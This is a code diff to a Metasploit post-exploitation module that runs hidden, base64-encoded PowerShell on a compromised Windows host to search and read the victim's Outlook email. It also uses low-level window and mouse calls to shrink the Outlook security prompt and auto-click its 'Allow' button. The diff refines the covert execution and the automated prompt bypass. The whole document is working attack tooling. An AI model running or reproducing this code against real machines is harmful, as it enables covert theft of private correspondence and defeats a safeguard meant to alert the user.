@@ -23,7 +23,7 @@ def initialize(info={})
2323 'License' => MSF_LICENSE ,
2424 'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
2525 'Platform' => [ 'win' ] ,
26- 'Arch' => [ 'x86' , 'x64' ] ,
26+ 'Arch' => [ 'x86' , 'x64' ] ,
2727 'SessionTypes' => [ 'meterpreter' ]
2828 ) )
2929
@@ -52,10 +52,13 @@ def listBoxes
5252 |
5353 utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
5454 encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
55- listBoxes_res = cmd_exec ( 'powershell' , '-enc ' + encoded_psh )
55+ listBoxes_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
56+ sleep 3
57+ print listBoxes_res . channel . read
58+ listBoxes_res . channel . close
59+ listBoxes_res . close
5660 currentidle = session . ui . idle_time
5761 print_status ( "System has currently been idle for #{ currentidle } seconds" )
58- print_status listBoxes_res
5962 end
6063
6164 def readEmails ( folder , keyword , searchobject , atrans , acftrans )
@@ -70,16 +73,24 @@ def readEmails(folder,keyword,searchobject,atrans,acftrans)
7073 $Outlook = New-Object -ComObject Outlook.Application
7174 $Namespace = $Outlook.GetNameSpace("MAPI")
7275 $NameSpace.Folders.Item(1)
76+ try {
7377 $Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items
7478 $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}
7579 Write-Host $Email
80+ } catch {
81+ Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
82+ }
7683 }
7784 Get-Emails "#{ keyword } " "#{ folder } " "#{ searchobject } "
7885 |
7986 utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
8087 encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
81- readEmails_res = cmd_exec ( 'powershell' , '-enc ' + encoded_psh )
82- print_status readEmails_res
88+ readEmails_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
89+ while ( d = readEmails_res . channel . read )
90+ print ( "#{ d } " )
91+ end
92+ readEmails_res . channel . close
93+ readEmails_res . close
8394 end
8495
8596 def clickButton ( atrans , acftrans )
@@ -91,6 +102,8 @@ def clickButton(atrans,acftrans)
91102 client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
92103 hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
93104 client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
105+ client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
106+ client . railgun . user32 . SetCursorPos ( 150 , 150 )
94107 client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
95108 client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
96109 end
@@ -107,18 +120,18 @@ def run
107120 # OS language check
108121 sysLang = client . sys . config . sysinfo [ 'System Language' ]
109122 if sysLang != "en_US" and sysLang != "NL"
110- if allow . nil? or allow_access_for . nil?
111123 print_error ( "System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
112124 abort ( )
113- else
114- atrans = allow
115- acftrans = allow_access_for
116- end
117125 else
118126 atrans = A_HASH [ sysLang ]
119127 acftrans = ACF_HASH [ sysLang ]
120128 end
121129
130+ if allow and allow_access_for
131+ atrans = allow
132+ acftrans = allow_access_for
133+ end
134+
122135 # Outlook installed
123136 @key_base = "HKCU\\ Software\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Windows Messaging Subsystem\\ Profiles\\ Outlook\\ 9375CFF0413111d3B88A00104B2A6676"
124137 outlookInstalled = registry_getvaldata ( "#{ @key_base } \\ " , "NextAccountID" )
@@ -158,7 +171,7 @@ def run
158171 print_status ( 'Not printing folders, LIST_FOLDERS disabled' )
159172 end
160173
161- if folder
174+ if folder and folder != ""
162175 readEmails ( folder , keyword , object , atrans , acftrans )
163176 end
164177 end
0 commit comments